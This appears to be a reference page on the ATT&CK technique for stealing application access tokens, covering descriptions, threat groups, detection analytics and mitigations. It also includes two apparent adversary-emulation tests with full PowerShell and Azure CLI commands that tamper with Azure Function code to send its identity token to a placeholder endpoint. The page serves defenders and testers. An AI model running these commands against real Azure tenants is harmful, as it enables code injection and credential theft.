Suzy Schapperle - Microsoft Azure Red Team; Shailesh Tiwary (Indian Army); Mark Wee; Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services); Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC); Ram Pliskin, Microsoft Azure Security Center; Jack Burns, HubSpot; Arun Seelagan, CISA; Eliraz Levi, Hunters Security; Alon Klayman, Hunters Security
Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).[1] Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.
For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.[2]
Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.[3] If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.
In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.[4][5]
Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.[6][7] An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.[8][9] The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.[10] Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.[11]
Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens[12], allowing them to obtain new access tokens without prompting the user.
70th pctamong all ATT&CK techniques for number of groups
4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has stolen valid OAuth credentials from DevOps personnel or a company GitHub repository.1 Additionally, ShinyHunters has stolen application access tokens to access cloud services and to bypass authentication mechanisms.2
Has used several malicious applications to steal user OAuth access tokens including applications masquerading as "Google Defender" "Google Email Protection," and "Google Scanner" for Gmail users. They also targeted Yahoo users with applications masquerading as "Delivery Service" and "McAfee Email Protection".1
created 2017-05-311 referenceaka IRON TWILIGHT
All 4 groups for this technique
1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Leviathan abused access to compromised appliances to collect JSON Web Tokens (JWTs), used for creating virtual desktop sessions, during Leviathan Australian Intrusions.1
2022
All 1 campaigns for this technique
8 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has obtained OAuth access and refresh tokens by deceiving victims into completing actor-initiated device authorization requests, and intercepting authentication sessions with legitimate identity providers through adversary-in-the-middle reverse proxy infrastructure. 1234
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for T1528 - Steal Application Access Token
Enterprise
5 platforms
AN1423 · Containers
Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
TimeWindow
Adjust based on how quickly tokens are expected to be used post-access
UserContext
Tuning for known service accounts that legitimately access the API
AN1424 · IaaS
Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
App registrations or consent grants by abnormal users or at unusual times
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
ConsentScope
Tunable based on risky or privileged scopes in the environment
AppUserRatio
Threshold of how many users have authorized a given app
AN1426 · Office Suite
Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
App-only or delegated access patterns where client_id != known enterprise apps
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
ClientAppIDAllowList
Defenders may allow known app IDs, flag unknowns
AccessVolumeThreshold
Rate of resource access by a newly consented app
AN1427 · SaaS
Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace — especially from new IPs, apps, or excessive resource access.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.
Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.
Azure offers a couple of enterprise policy settings in the Azure Management Portal that may help:
"Users -> User settings -> App registrations: Users can register applications" can be set to "no" to prevent users from registering new applications.
"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf" can be set to "no" to prevent users from consenting to allow third-party multi-tenant applications
Enforce role-based access control to limit accounts to the least privileges they require. A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens. In Kubernetes applications, set “automountServiceAccountToken: false” in the YAML specification of pods that do not require access to service account tokens.
Users need to be trained to not authorize third-party applications they don’t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.
Tests2Executorspowershell 2Need elevation0 of 2Have prerequisites2Have cleanup2Platformsiaas:azure
This test injects code into an Azure Function (RCE).
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Inputs
Name
Description
Type
Default Value
blob_name
Name of the function blob
string
blob_example
container_name
Name of the container that contains the function blob
string
container_name_example
file_path_blob
Path to the function code file to upload as blob
path
$env:temp/T1528_function_code.zip
storage_account_name
Name of storage account that is related to the Function
string
storage_account_name_example
Attack Commandsrun with powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}
Cleanup Commands
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
iaas:azure
powershell
—
1
Yes
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
Note:
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
Inputs
Name
Description
Type
Default Value
file_path
Path to the Function file in the file share
path
site/wwwroot/function_app.py
file_share_name
Name of the file share that is related to the Function
string
file_share_name_example
execution_option
Chooses execution option insert_code, or replace_file
string
insert_code
code_to_insert_path
The code that will be injected into the Function
path
$PathToAtomicsFolder/T1528/src/code_to_insert.py
storage_account_name
Name of storage account that is related to the Function
string
storage_account_name_example
Attack Commandsrun with powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("#{execution_option}" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
# Upload file to file share
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("#{execution_option}" -eq "replace_file") {
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}
Cleanup Commands
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
Top 12%of all ATT&CK techniques for number of rules
Showing 1-23 of 23 rules
Drag headers to reorder | Drag edges to resize
Select
Title
Description
Category
Status
Event
OS
Product
MITRE ATT&CK
CVEs
Severity
Author
Created
Updated
ID
Refs
Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.
The following analytic detects instances where Azure AD has blocked a user's attempt to grant consent to a risky or potentially malicious application. (...)
The following analytic identifies instances where a user has denied consent to an OAuth application seeking permissions within the Azure AD environment. (...)
The following analytic identifies instances where a user in the Office 365 environment grants consent to an application requesting file permissions for OneDrive or SharePoint. (...)
The following analytic identifies instances where a user grants consent to an application requesting mail-related permissions within the Office 365 environment. (...)
The following analytic identifies instances where Office 365 has blocked a user's attempt to grant consent to an application deemed risky or potentially malicious. (...)
The following analytic identifies instances where a user has denied consent to an OAuth application seeking permissions within the Office 365 environment. (...)